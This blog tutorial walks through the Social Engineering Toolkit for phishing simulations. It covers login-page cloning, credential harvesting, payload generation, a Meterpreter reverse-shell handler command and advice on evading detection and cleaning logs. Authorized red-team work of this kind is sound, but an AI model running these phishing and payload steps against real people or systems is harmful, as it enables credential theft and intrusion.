Social Engineering Toolkit (SET) Complete Guide 2026

The Social Engineering Toolkit (SET) is one of the most important tools in a red teamer’s arsenal — and also one of the most misunderstood. Built specifically for social engineering attacks, it’s not just a script kiddie toy. Used properly, SET simulates the exact attack chains that real threat actors use to compromise organizations.

This guide covers everything: installation, attack modules, credential harvesting, spear phishing campaigns, website cloning, and the OPSEC considerations that separate a successful engagement from a burned infrastructure.

What Is SET?

The Social Engineering Toolkit was created by Dave Kennedy (@HackingDave ) at TrustedSec . It’s an open-source Python framework purpose-built for social engineering attacks in authorized penetration tests and red team engagements.

SET is pre-installed on Kali Linux and included in most major pentest distributions. It standardizes social engineering attack vectors that would otherwise require cobbling together multiple tools.

Key capabilities:

• Spear phishing email campaigns
• Website credential harvesting (clone + capture)
• Malicious USB/HID attacks
• Infectious media generation
• Mass mailer attacks
• Metasploit integration for payload delivery
• Multi-attack web vectors

SET is the tool behind a significant portion of real-world phishing simulations — and a large slice of actual threat actor campaigns that security researchers have reverse-engineered.

Prerequisites

Before running SET, you need a proper environment. Running social engineering tools from your home IP or personal laptop is a red flag for blue teams and kills attribution separation.

For authorized engagements, use a dedicated VPS:

A Vultr or DigitalOcean VPS gives you a clean IP, easy snapshot/destroy cycles, and geographic flexibility. $6/month gets you enough compute to run SET, host credential harvesting pages, and route traffic through redirectors.

Minimum requirements:

• Linux (Kali, Parrot, or Ubuntu 22.04+)
• Python 3.x
• Root/sudo access
• Internet connectivity from a non-attributable IP

Installation

Kali Linux (Pre-installed)

SET comes bundled with Kali. Launch it directly:

sudo setoolkit

If it’s missing or outdated:

sudo apt update
sudo apt install set

Manual Installation (Ubuntu/Debian VPS)

# Install dependencies
sudo apt update
sudo apt install -y python3 python3-pip git

# Clone the repository
cd /opt
sudo git clone https://github.com/trustedsec/social-engineer-toolkit.git
cd social-engineer-toolkit

# Install requirements
sudo pip3 install -r requirements.txt

# Install SET
sudo python3 setup.py

# Launch
sudo setoolkit

Verify Installation

setoolkit --version

SET will display its version banner and license disclaimer. Always read the disclaimer — it explicitly states this tool is for authorized use only. Running it against targets without written authorization is a federal crime in most jurisdictions.

The SET Interface

When you launch SET, you’ll see the main menu:

 [---]        The Social-Engineer Toolkit (SET)         [---]
 [---]        Created by: David Kennedy (ReL1K)         [---]

 Select from the menu:

   1) Social-Engineering Attacks
   2) Penetration Testing (Fast-Track)
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

Option 1 is where you’ll spend most of your time. Let’s go through the attack vectors.

Core Attack Vectors

1. Spear-Phishing Attack Vectors

1) Perform a Mass Email Attack
2) Create a FileFormat Payload
3) Create a Social-Engineering Template

Spear phishing in SET combines a malicious payload with a crafted email. The workflow:

1. Select a payload (PDF exploit, Office macro, HTA, etc.)
2. Select or create an email template
3. Configure your SMTP settings
4. Fire the campaign

File format payloads SET supports:

• Adobe PDF Embedded EXE
• Microsoft Word RTF Exploit
• Microsoft Word 2003 XML
• HTA Attack (HTML Application)
• PowerShell Reverse Shell

# Inside SET menu navigation:
# 1 → Spear-Phishing → 2 (FileFormat Payload) → 
# choose payload → configure SMTP → launch

OPSEC note: Never use a payload that phones home to your personal IP. Always route callbacks through a C2 redirector. See our Red Team Infrastructure guide for the full redirector setup.

2. Website Attack Vectors

This is SET’s most-used module for credential harvesting. Four sub-options:

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method

Credential Harvester — The Workhorse

This is the attack you’ll use most in authorized phishing simulations:

Website Attack Vectors → Credential Harvester Attack Method

Three options for the harvester:

Option 1: Web Templates — SET has built-in clones of Gmail, Google, Twitter, Facebook, Yahoo, LinkedIn, and more. Fast and functional.

Option 2: Site Cloner — Clone any website by URL. SET crawls and replaces the form action to point back to your listener.

Option 3: Custom Import — Bring your own HTML. Most useful when you’re mimicking a client’s internal portal.

Running the credential harvester:

# Launch SET
sudo setoolkit

# Navigate:
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method
# 2) Site Cloner

# SET prompts:
# IP address for POST back (your server IP): 10.0.0.5
# URL to clone: https://login.example.com

# SET starts a web server on port 80
# All captured credentials print to console and saved to /root/.set/

Credentials are logged to:

/root/.set/reports/harvester_TIMESTAMP.txt

Web Jacking Attack Method

Combines clickjacking with credential theft. SET creates a pop-under window that persists after the user thinks they’ve closed the phishing page. When the legitimate site loads, the user is already compromised. Less commonly used but effective against certain user populations.

Tabnabbing

Abuses browser tab inactivity. SET injects JavaScript that replaces an inactive tab’s content with a phishing page when the user switches back to it. The user sees what appears to be a legitimate page they left open — but it’s now a fake login prompt.

3. Infectious Media Generator

Generates autorun payloads for USB drops:

1) Social-Engineering Attacks
6) Infectious Media Generator

Creates:

• Metasploit payloads embedded in autorun.inf
• Shellcode-based payloads for Windows
• PDF-based exploits for document drops

Reality check: Modern Windows disables autorun by default. USB HID attacks (see below) are more effective in 2026. The infectious media module is useful for legacy environments (OT/ICS, older Windows deployments).

4. Create a Payload and Listener

Streamlines payload creation + Metasploit handler setup in one workflow:

1) Social-Engineering Attacks
4) Create a Payload and Listener

Payload types:

• Windows Meterpreter (reverse TCP, reverse HTTPS)
• Windows Shell (reverse TCP)
• PowerShell Alphanumeric Shellcode Injector
• Meterpreter Multi-Memory Injection

SET automatically configures the Metasploit listener with the matching LHOST/LPORT. Useful for quickly generating a payload for a phishing attachment without manually setting up msfvenom + multi/handler.

5. Mass Mailer Attack

1) Social-Engineering Attacks
5) Mass Mailer Attack

Two modes:

1. Single email target
2. Mass email from list

SET handles SMTP auth, supports TLS, and lets you configure custom headers to improve deliverability. In practice, for real engagements you’ll want a dedicated SMTP relay (SendGrid, Mailgun, or self-hosted Postfix on a warmed domain) rather than SET’s built-in mailer — but it works for quick internal tests.

SMTP configuration inside SET:

From address: helpdesk@[client-lookalike-domain].com
Reply to: same or different
Username: SMTP credentials
Password: SMTP password
SMTP server: mail.yourdomain.com
SMTP port: 587

6. Arduino-Based Attack Vector

SET can generate payloads for Arduino-based HID (Human Interface Device) attacks:

1) Social-Engineering Attacks
9) Arduino-Based Attack Vector

This writes Ducky Script-compatible code that, when loaded onto a compatible board (USB Rubber Ducky, DigiSpark, etc.), executes on plug-in as a keyboard. The target OS sees it as a keyboard — not a storage device — so AV/EDR doesn’t flag it.

Common payloads SET generates:

• PowerShell download cradle and execute
• Reverse shell via PowerShell
• Keylogger install

7. SMS Spoofing Attack Vector

1) Social-Engineering Attacks
10) SMS Spoofing Attack Vector

SET integrates with SMS gateways to send spoofed SMS messages. Requires an account with a compatible SMS provider. Useful for vishing/smishing simulations when the engagement scope includes mobile vectors.

SET Configuration

SET’s config file lives at:

/etc/setoolkit/set.config

Key settings:

# Browser to use for credential harvesting
WEBATTACK_EMAIL=OFF
METASPLOIT_PATH=/usr/share/metasploit-framework

# Apache vs Python web server
WEB_ATTACK_APACHE=OFF  # ON = use Apache instead of Python webserver

# Email settings
DEFAULT_EMAIL_PROVIDER=GMAIL

# Reporting
REPORT_FORMAT=PDF

# Harvester port
WEBATTACK_PORT=80

Running on port 443 (HTTPS harvester):

Most phishing simulations need HTTPS to bypass user suspicion. Set up a Let’s Encrypt cert and configure SET to use Apache instead of its built-in Python server:

# Install certbot
sudo apt install certbot python3-certbot-apache

# Get cert for your domain
sudo certbot --apache -d phishing.yourdomain.com

# In set.config:
WEB_ATTACK_APACHE=ON
WEBATTACK_PORT=443

Then SET will use your Apache config (with the cert) as the web frontend.

OPSEC Considerations

Using SET carelessly burns your infrastructure and can tip off a blue team. Here’s what matters:

1. Never run SET on a direct engagement IP

Your C2 server and your credential harvester should be different boxes. Use a redirector in front of your harvester:

Target → Phishing domain → Redirector (nginx/Apache) → SET harvester server

This means if the blue team blocks the redirector IP, your actual C2 infrastructure stays intact.

2. Domain age matters

A domain registered this week will get flagged immediately by email gateways and browser warning systems. For realistic phishing simulations:

• Register lookalike domains 30-60 days before the engagement
• Send low-volume warm-up emails from the domain before the campaign
• Check domain reputation against MXToolbox, VirusTotal, and Talos before launching

3. Kill the SET default page

When SET’s web server starts, it serves a generic SET landing page before the victim loads the phishing content. Blue teams and automated scanners that crawl the phishing URL will fingerprint this. Customize it:

# Edit the default template
sudo nano /var/www/html/index.html

Or configure Apache to serve a 404 for non-phishing paths.

4. Log cleanup

SET logs everything to /root/.set/. After an engagement:

# Review and archive
sudo tar -czf /secure-storage/engagement-harvest.tar.gz /root/.set/
sudo rm -rf /root/.set/reports/

5. Payload staging — never embed raw shellcode in Office docs

Detection rates are too high. Use a staged payload: the Office macro downloads a small stager, which fetches the actual Meterpreter in memory. SET’s built-in payloads are well-known; use them as a reference, then customize with your own obfuscation layer.

Integrating SET with Metasploit

SET and Metasploit were designed to work together. When you generate a payload through SET, it calls msfvenom under the hood and optionally launches a multi/handler:

# SET auto-launches handler when you choose Metasploit payload
# Or launch manually:
msfconsole -q -x "use exploit/multi/handler; \
  set PAYLOAD windows/meterpreter/reverse_https; \
  set LHOST 10.0.0.5; \
  set LPORT 443; \
  set ExitOnSession false; \
  run -j"

When a victim clicks your phishing link and runs the payload, the Meterpreter session opens in your Metasploit console.

Real-World Workflow: Credential Harvest Simulation

Here’s a complete example of a phishing simulation run:

Scenario: Simulate a Microsoft 365 credential phishing attack against an internal target (authorized).

# 1. Spin up VPS (Vultr/DO)
# 2. Install SET
# 3. Point DNS: phishing.yourdomain.com → VPS IP

# 4. Get SSL cert
sudo certbot --standalone -d phishing.yourdomain.com

# 5. Configure set.config for Apache + HTTPS
sudo nano /etc/setoolkit/set.config
# WEB_ATTACK_APACHE=ON

# 6. Launch SET
sudo setoolkit
# → 1 (Social-Engineering Attacks)
# → 2 (Website Attack Vectors)
# → 3 (Credential Harvester Attack Method)
# → 1 (Web Templates)
# → Set IP: VPS IP
# → Select template: Microsoft (or clone the real M365 login)

# 7. Send phishing email with crafted link
# Link: https://phishing.yourdomain.com/

# 8. Monitor captured credentials
# SET console prints credentials in real time
# Saved to: /root/.set/reports/

Captured output looks like:

[*] We captured a credential from the victim!
[*] POSSIBLE USERNAME FIELD FOUND: [email protected]
[*] POSSIBLE PASSWORD FIELD FOUND: passwd=CompanyPass2026

Common Issues and Fixes

SET web server won’t start on port 80:

# Check what's using port 80
sudo lsof -i :80
# Kill it or switch SET to a different port in set.config

Clone fails / blank page:

# Some sites block scrapers. Try with curl first:
curl -A "Mozilla/5.0" https://target-site.com
# If blocked, manually save the login page HTML and use Option 3 (Custom Import)

Metasploit handler not catching sessions:

# Verify listener is running
msf > jobs
# Check firewall allows LPORT inbound
sudo ufw allow 443/tcp

SET update fails:

cd /opt/social-engineer-toolkit
sudo git pull
sudo pip3 install -r requirements.txt --upgrade

Alternatives to Consider

SET is a comprehensive framework but it’s not always the right tool:

SET is best for: quick internal phishing simulations, credential harvesting proof-of-concept, and engagements where you need a fast setup without custom infrastructure.

Setting Up Your Lab

For practicing SET safely, you need an isolated lab environment. Running a Kali VM locally works, but a cloud VPS gives you more flexibility — especially for testing phishing flows against external email servers.

Recommended setup:

• Vultr Cloud Compute — $6/month, fast SSD, global locations. Spin up, practice, destroy. Clean IP each time.
• DigitalOcean Droplets — Similar pricing, excellent documentation, easy snapshots for lab state saves.

Both support one-click Kali images or you can deploy Ubuntu and install manually. Either way, snapshot your base config before running any engagements so you can reset to a clean state in minutes.

Legal and Ethical Boundaries

This is non-negotiable:

• Written authorization required. Every time. No exceptions.
• SET is for authorized penetration testing and security awareness training only.
• Running credential harvesters or phishing campaigns without authorization violates the Computer Fraud and Abuse Act (CFAA), GDPR, and equivalent laws in every jurisdiction.
• If you’re doing security awareness training, make sure HR and legal are looped in. Surprising employees with a phishing test they haven’t been notified might exist is a different scenario from one where company policy explicitly allows it.

Keep your Statement of Work or authorization letter accessible during every engagement.

Conclusion

SET is mature, actively maintained, and covers the core social engineering attack vectors you’ll encounter in real engagements. It’s not the most sophisticated tool for advanced APT simulation — for that, you’re looking at custom phishing infrastructure with Evilginx2 and purpose-built payloads. But for authorized phishing simulations, credential harvesting PoCs, and red team training exercises, SET does the job cleanly.

Learn the tool. Understand what it’s doing under the hood. Then decide when SET is enough and when you need something heavier.

Need a dedicated VPS for your red team lab or phishing infrastructure? Vultr and DigitalOcean are the go-to options — cheap, fast to spin up, and easy to destroy after an engagement.

Need professional-grade security content for your organization? CipherWrite delivers technical cybersecurity writing — blog posts, whitepapers, and security awareness content — written by practitioners, not generalists.